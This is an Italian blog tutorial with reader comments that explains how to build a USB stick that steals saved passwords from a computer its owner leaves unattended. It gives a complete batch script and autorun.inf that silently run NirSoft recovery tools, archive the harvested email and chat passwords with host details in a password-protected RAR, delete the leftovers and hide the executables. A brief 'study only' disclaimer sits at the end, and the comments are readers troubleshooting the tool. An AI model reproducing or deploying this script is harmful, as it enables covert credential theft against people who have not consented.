Rubare Password Di Un Computer Con Una Chiavetta Usb
Il sito web Nirsoft fornisce diversi programmi gratuiti per recuperare le password salvate nel computer che si sta usando nel caso in cui le si dimenticano. E’ possibile però usare questi programmi gratuiti per altri scopi, come rubare le password del computer che si sta utilizzando.
Se un malintenzionato ha accesso fisico al computer da cui rubare le password, ha a disposizione solo pochi secondi per compiere l’”operazione”. Da questa necessità, ecco l’idea di usare una chiavetta USB. Con questo articolo, voglio semplicemente farvi vedere come sia facile creare una chiavetta USB che, inserita nel computer che ci interessa, salva le password trovate all’interno della chiavetta stessa.
Così facendo, basta collegare la chiavetta al computer che ci interessa, fare un semplice click e dopo qualche secondo staccare la chiavetta ed allontanarci dal computer con le password. Per realizzare questa chiavetta USB speciale, prima di tutto, create una cartella sul vostro desktop con il nome di Chiavetta. Questa cartella conterrà tutti i file che andranno copiati nella chiavetta.
Collegatevi alla pagina del sito web di Nirsoft per scaricare i programmi per recuperare le password. Vi consiglio di scaricare solo i programmi che vi recuperano le password che vi interessano. Se avete intenzione, ad esempio, di recuperare solo le password dei programmi di chat e quelli delle e-mail, scaricate i programmi MessenPass e Mail PassView.
Dopo aver scaricato i pacchetti con i programmi per recuperare le password, estraeteli nella cartella Chiavetta. In questa cartella lasciate solo i programmi veri e propri: cancellate, in breve, gli altri file come il readme.txt o la guida di utilizzo del programma.
A questo punto, scaricate ed installate l’ultima versione di Winrar. Andate su questa pagina e fate click sulla voce WinRAR 3.60 (Graphic and command line). Dopo aver installato Winrar, andate su Start/Risorse del computer/C:/Programmi/WinRAR, copiate ed incollate il programma Rar.exe nella cartella del desktop Chiavetta.
Adesso aprite il Blocco Note, andando su Start/Tutti i programmi/Accessori/Blocco note, e scrivete la seguente riga per ogni programma che recupera le password che avete inserito nella cartella Chiavetta:
@nomedelprogramma.exe /sverhtml nomedelprogramma.html
Al termine del file scrivete, invece, le righe:
REM Scrittura del file di log
@echo COMPUTERNAME = %COMPUTERNAME% > log.txt
@echo USERNAME = %USERNAME% >> log.txt
@echo USERDOMAIN = %USERDOMAIN% >> log.txt
@echo USERPROFILE = %USERPROFILE% >> log.txt
@echo. >> log.txt
@echo Oggi e’ %DATE% e sono le %TIME% >> log.txtREM Compressione
@rar.exe a -pPASSWORD backup_%random%.rar *.html log.txt > nulREM Eliminazione e celamento dei file usati
@del *.html
@del log.txt
@attrib +h *.exe
@attrib +h autorun.inf
In breve, quando avvierete questo piccolo programmino, le password verranno recuperate dal computer e salvate in diversi file .HTML. A questo punto, questi file HTML vengono inseriti in un archivio .RAR protetto da password. La password dell’archivio deve essere specificata al posto della parola PASSWORD.
La password è case sensitive: fanno differenza, quindi, le lettere maiuscole e quelle minuscole. Alla fine i programmi utilizzati per recuperare le password vengono nascosti e le pagine HTML eliminate, poichè già inserite nell’archivio .RAR. Nel mio caso (programmi MessenPass e Mail PassView), ho scritto queste righe:
@mspass.exe /sverhtml mspass.html
@mailpv.exe /sverhtml mailpv.htmlREM Scrittura del file di log
@echo COMPUTERNAME = %COMPUTERNAME% > log.txt
@echo USERNAME = %USERNAME% >> log.txt
@echo USERDOMAIN = %USERDOMAIN% >> log.txt
@echo USERPROFILE = %USERPROFILE% >> log.txt
@echo. >> log.txt
@echo Oggi e’ %DATE% e sono le %TIME% >> log.txtREM Compressione
@rar.exe a -pPASSWORD backup_%random%.rar *.html log.txt > nulREM Eliminazione e celamento dei file usati
@del *.html
@del log.txt
@attrib +h *.exe
@attrib +h autorun.inf
Alla fine, salvate il file con il nome lancia.bat: andate semplicemente su File/Salva file con nome… e, nella finestra che si apre, scrivete lancia.bat in Nome file e selezionate Tutti i file in Salva come. Il file deve essere salvato nella Chiavetta.
Dopo aver creato il file lancia.bat, create il file autorun.inf sempre con il Blocco note:
[autorun]
open=lancia.bat
action=Preleva password
A questo punto avete finito. Nella cartella troverete i seguenti file:
Dovete semplicemente copiare tutti i file nella cartella principale della vostra chiavetta USB per concludere la sua creazione. Se volete fare delle prove, dopo aver copiato i file, estraete ed inserite la chiavetta. Verrà aperta la seguente finestra:
Se selezionate la prima voce (Preleva password) e fate click sul tasto OK, le password del computer verranno salvate all’interno dell’archivio protetto .RAR. A questo punto, basta staccare la chiavetta ed andare in un computer sicuro con Winrar installato per leggere le password trovate.
L’articolo è stato aggiornato rispetto alla pubblicazione iniziale, grazie all’aiuto del blogger Alessandro Ferrari, che ha revisionato il codice .BAT. L’articolo è puramente a scopo di studio e l’autore non si ritiene responsabile per eventuali usi impropri. Rubare password che non siano le proprie non è legale.
Grazie Salvatore, è tutto spiegato bene.
Ciao Salvatore,
Ho seguito attentamente le indicazione da te elencate, quando carico la cartella sulla root della chiave USB funziona tutto per il meglio, ma quando rimuovo e reinserisco la periferica non mi visualizza Preleva la Password sull’Autorun. Ho provato ad avviarlo manualmente, in seguito ho estratto i file. Sul log.txt è elencato il Computername, l’Userdomain e l’Userprofile. In basso viene riportata la data del backup. Ti è possibile risolvere il mio problema? Per chi ha riscontrato e risolto il problema, può darmi la soluzione?
Grazie a tutti.
ciao salvatore, mi servirebbe spere come posso aprire un file .xls che ha la password…spero che ci sia un modo è molto importante…ciao ciao
Salve a tutti
la password per aprire l archivio Win Rar è PASSWORD se avete copiato il procedimento di Salvatore oppure è la parola scelta da voi se nel procedimento di costituzione del file lancia.bat avete sostitito alla parola PASSWORD.. una vostra parola.
Cmq il programma funziona ma riesco ad ottenere informazioni solo su computer name e username…. nessuna password yahoo..o msn!!!! Qualcuno ci è riuscito????
Graziee
io, dal sito nirsoft ho scaricato mspass… ma era un visus…
Ciao Salvatore, innanzitutto volevo complimentarmi con te.. ho un problema e cioè non arrivo ad avere sull’autoplay, l’opzione recupera password sicuramente perchè non sono riuscito a scaricare la versione esatta di winrar 3.60 (non l’ho trovata). Ne ho preso una 3.80 e sulla cartella winrar poi non trovo l’applicazione Rar.exe.. ti prego aiutami grazie in anticipo!!
scusa salvatore io non sono riuscito a fare il programmino per rubare le password di un computer con la chiavetta vuoi entrare nel mio computer con teamviewer 4 si vuoi ti do il id e il codice se vuoi entrare per fare il programmino prima devi rispondere
Ciao,solo oggi mi sono accorto di questa bellissima guida. ho dei problemi con un programma che si chiama astlog, va bene per prendere la pass di accensione del pc?
poi volevo dire che mi forma dei file .rar kiamati backup e al suo interno ce il file log.txt
bene, inserisco la pass da me stabilita e mi escono soltanto i nomi del mio computer con l’ora etc cosa ho sbagliato?
Ciao Salvatore…non spero molto che tu risponda a questo quesito perchè è passato tanto tempo da che hai fatto questo post…se lo leggi sappi che a me funziona tutto benissimo solo che quando vado ad aprire il file log.txt MI ESCE SOLO L’USERNEME E ROBE VARIE MA DI PASSWORD NULLA…COME MAI???STO SBATTENDO LA TESTA DA UN Pò…RISP SE PUOI CIAO E IN GAMBA…!!!
caro Aranzulla
ho provato questa tecnica, ma ogni volta windows mi da errore nel trasferire l’ .exe del programma per rubare pasw, nella penna USB.
Ho disabilitato l’antivirus e ogni singolo programma da Mail passView a MessenPass v1.24, il computer mi impedisce l’invio.
Prego risposta in mail.
A presto
Marco Ceccolini
e se si volesse scaricare un po di programmi insieme, come si fa, e possibile? ciao
io ho fatto tutto, ma non capisco come faccio a vedere le password!
cos’è .RAR.? come faccio a trovarlo?
mi dite che programma devo scaricare per scoprire le pass degli utenti del computer
Perchè quando provo ad aprire il file buckup mi chiede la password???che password devo inserire
ciao, quando salva le password nel file WinRar poi per aprirle mi chiede una password per aprire il fil log.txt e mspass.html